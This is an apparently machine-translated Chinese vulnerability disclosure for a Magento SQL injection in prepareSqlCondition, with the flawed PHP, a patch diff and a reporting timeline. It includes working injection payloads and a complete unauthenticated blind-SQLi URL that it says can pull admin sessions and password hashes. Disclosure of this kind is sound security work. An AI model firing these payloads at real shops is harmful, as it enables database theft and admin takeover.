代码审核
Magento拥有庞大的代码库 - 超过200万行PHP。显然,手动审核其代码必须是一项繁琐的工做。尽管如此,Netanel Rubin发现的两个优秀RCE漏洞给了咱们指导,由于它们针对两件事:
访问检查/路由
API
这两个载体极可能是清除漏洞,由于它们以前已通过审计。所以,我选择了一些还没有定位的东西:负责ORM和DB管理的代码。
SQL注入
下沉
处理数据库的主要类之一是Magento \ Framework \ DB \ Adapter \ Pdo \ Mysql。通过几分钟的审计,其中一个方法prepareSqlCondition出现了一个有趣的错误。
php
<?php /**** ** Build SQL statement for condition ** ** If $condition integer or string - exact value will be filtered ('eq' condition) ** ** If $condition is array is - one of the following structures is expected: ** - array("from" => $fromValue, "to" => $toValue) ** - array("eq" => $equalValue) ** - array("neq" => $notEqualValue) ** - array("like" => $likeValue) ** - array("in" => array($inValues)) ** - array("nin" => array($notInValues)) ** - array("notnull" => $valueIsNotNull) ** - array("null" => $valueIsNull) ** - array("gt" => $greaterValue) ** - array("lt" => $lessValue) ** - array("gteq" => $greaterOrEqualValue) ** - array("lteq" => $lessOrEqualValue) ** - array("finset" => $valueInSet) ** - array("regexp" => $regularExpression) ** - array("seq" => $stringValue) ** - array("sneq" => $stringValue) ** ** If non matched - sequential array is expected and OR conditions ** will be built using above mentioned structure ** ** ... **/ public function prepareSqlCondition($fieldName, $condition) { $conditionKeyMap = [ [1] 'eq' => "{{fieldName}} = ?", 'neq' => "{{fieldName}} != ?", 'like' => "{{fieldName}} LIKE ?", 'nlike' => "{{fieldName}} NOT LIKE ?", 'in' => "{{fieldName}} IN(?)", 'nin' => "{{fieldName}} NOT IN(?)", 'is' => "{{fieldName}} IS ?", 'notnull' => "{{fieldName}} IS NOT NULL", 'null' => "{{fieldName}} IS NULL", 'gt' => "{{fieldName}} > ?", 'lt' => "{{fieldName}} < ?", 'gteq' => "{{fieldName}} >= ?", 'lteq' => "{{fieldName}} <= ?", 'finset' => "FIND_IN_SET(?, {{fieldName}})", 'regexp' => "{{fieldName}} REGEXP ?", 'from' => "{{fieldName}} >= ?", 'to' => "{{fieldName}} <= ?", 'seq' => null, 'sneq' => null, 'ntoa' => "INET_NTOA({{fieldName}}) LIKE ?", ]; $query = ''; if (is_array($condition)) { $key = key(array_intersect_key($condition, $conditionKeyMap)); if (isset($condition['from']) || isset($condition['to'])) { [2] if (isset($condition['from'])) { [3] $from = $this->_prepareSqlDateCondition($condition, 'from'); $query = $this->_prepareQuotedSqlCondition($conditionKeyMap['from'], $from, $fieldName); } if (isset($condition['to'])) { [4] $query .= empty($query) ? '' : ' AND '; $to = $this->_prepareSqlDateCondition($condition, 'to'); $query = $this->_prepareQuotedSqlCondition($query . $conditionKeyMap['to'], $to, $fieldName); [5] } } elseif (array_key_exists($key, $conditionKeyMap)) { $value = $condition[$key]; if (($key == 'seq') || ($key == 'sneq')) { $key = $this->_transformStringSqlCondition($key, $value); } if (($key == 'in' || $key == 'nin') && is_string($value)) { $value = explode(',', $value); } $query = $this->_prepareQuotedSqlCondition($conditionKeyMap[$key], $value, $fieldName); } else { $queries = []; foreach ($condition as $orCondition) { $queries[] = sprintf('(%s)', $this->prepareSqlCondition($fieldName, $orCondition)); } $query = sprintf('(%s)', implode(' OR ', $queries)); } } else { $query = $this->_prepareQuotedSqlCondition($conditionKeyMap['eq'], (string)$condition, $fieldName); } return $query; } protected function _prepareQuotedSqlCondition($text, $value, $fieldName) [3] { $sql = $this->quoteInto($text, $value); $sql = str_replace('{{fieldName}}', $fieldName, $sql); return $sql; }
总的来讲,该函数根据SQL字段名称和表示运算符(=,!=,>等)和值的数组构建SQL条件。 为此,它使用$ conditionKeyMap [1]将给定条件别名映射到模式,并替换每一个? 使用_prepareQuotedSqlCondition()[3]经过给定值的引用版本在别名中的字符。 例如:web
<?php $db->prepareSqlCondition('username', ['regexp' => 'my_value']); => $conditionKeyMap['regexp'] = "{{fieldName}} REGEXP ?"; => $query = "username REGEXP 'my_value'";
然而,当结合使用from和to条件时会出现问题[2],一般是为了确保字段包含在一个范围内。 例如:sql
<?php $db->prepareSqlCondition('price', [ 'from' => '100' 'to' => '1000' ]); $query = "price >= '100' AND price <= '1000'";
当存在两个条件(from和to)时,代码首先处理from部分[3],而后处理另外一个[4],可是此时发生了一个关键错误[5]:为from生成的查询是 重复用于格式化。
结果,由于每个? 由给定值替换,若是from的值中存在问号,则将替换为to的值的引用版本。 这是一种打破SQL查询并所以引起SQL注入的方法:数据库
<?php $db->prepareSqlCondition('price', [ 'from' => 'some?value' 'to' => 'BROKEN' ]); # FROM $query = $db->_prepareQuotedSqlCondition("{{fieldName}} >= ?", 'some?value', 'price') -> $query = "price >= 'some?value'" # TO $query = $db->_prepareQuotedSqlCondition($query . "AND {{fieldName}} <= ?", 'BROKEN', 'price') -> $query = $db->_prepareQuotedSqlCondition("price >= 'some?value' AND {{fieldName}} <= ?", 'BROKEN', 'price') -> $query = "price >= 'some'BROKEN'value' AND price <= 'BROKEN'"
第一次出现BROKEN是引用以外的。 为了执行有效的SQL注入,咱们能够这样作:json
<?php $db->prepareSqlCondition('price', [ 'from' => 'x?' 'to' => ' OR 1=1 -- -' ]); -> $query = "price >= 'x' OR 1=1 -- -'' AND price <= ' OR 1=1 -- -'"
为了不这个bug,这一行:后端
$query = $this->_prepareQuotedSqlCondition($query . $conditionKeyMap['to'], $to, $fieldName);
应该是数组
$query = $query . $this->_prepareQuotedSqlCondition($conditionKeyMap['to'], $to, $fieldName);
这个错误虽然很小,可是很是有影响力:若是咱们能够彻底控制第二个参数来准备SQLCondition,那么咱们就会有一个SQL注入。 使人惊讶的是,自Magento 1.x以来,这段代码已经存在!
资源
如前所述,Magento中有许多代码行,找到一种方法来解决这个问题很累人。 在用完智能方法以后,我选择逐个检查每一个控制器,直到找到源。 幸运的是,在不到十几我的以后,找到了候选人:Magento \ Catalog \ Controller \ Product \ Frontend \ Action \ Synchronize。服务器
<?php public function execute() { $resultJson = $this->jsonFactory->create(); try { $productsData = $this->getRequest()->getParam('ids', []); $typeId = $this->getRequest()->getParam('type_id', null); $this->synchronizer->syncActions($productsData, $typeId); } catch (\Exception $e) { $resultJson->setStatusHeader( \Zend\Http\Response::STATUS_CODE_400, \Zend\Http\AbstractMessage::VERSION_11, 'Bad Request' ); } return $resultJson->setData([]); }
这是最终致使错误的调用堆栈less
<?php $productsData = $this->getRequest()->getParam('ids', []); $this->synchronizer->syncActions($productsData, $typeId); $collection->addFieldToFilter('product_id', $this->getProductIdsByActions($productsData)); $this->_translateCondition($field, $condition); $this->_getConditionSql($this->getConnection()->quoteIdentifier($field), $condition); $this->getConnection()->prepareSqlCondition($fieldName, $condition);
此代码路径仅在Magento 2.2.0以后出现。
这是一个致使未经身份验证的盲SQL注入的URL:frontend
https://magento2website.com/catalog/product_frontend_action/synchronize? type_id=recently_products& ids[0][added_at]=& ids[0][product_id][from]=?& ids[0][product_id][to]=))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -
如今能够从数据库中读取任何内容,咱们能够提取管理会话或密码哈希并使用它们来访问后端。
修补
SQL注入的补丁是微不足道的:
File: vendor/magento/framework/DB/Adapter/Pdo/Mysql.php
Line: 2907
- $query = $this->_prepareQuotedSqlCondition($query . $conditionKeyMap['to'], $to, $fieldName); + $query = $query . $this->_prepareQuotedSqlCondition($conditionKeyMap['to'], $to, $fieldName);
Magento发布了2.3.1版本,以及2.2.x,2.1.x和1.1的修补版本。 修补你的服务器!
时间线
2018年11月9日:经过Bugcrowd报告错误
2018年11月26日:错误标记为P1
2019年3月19日:咱们要求更新(4个月!)
2019年3月19日:Magento以赏金奖励咱们,并通知咱们正在进行更新
2019年3月26日:Magento发布了一个新版本,修补了这些错误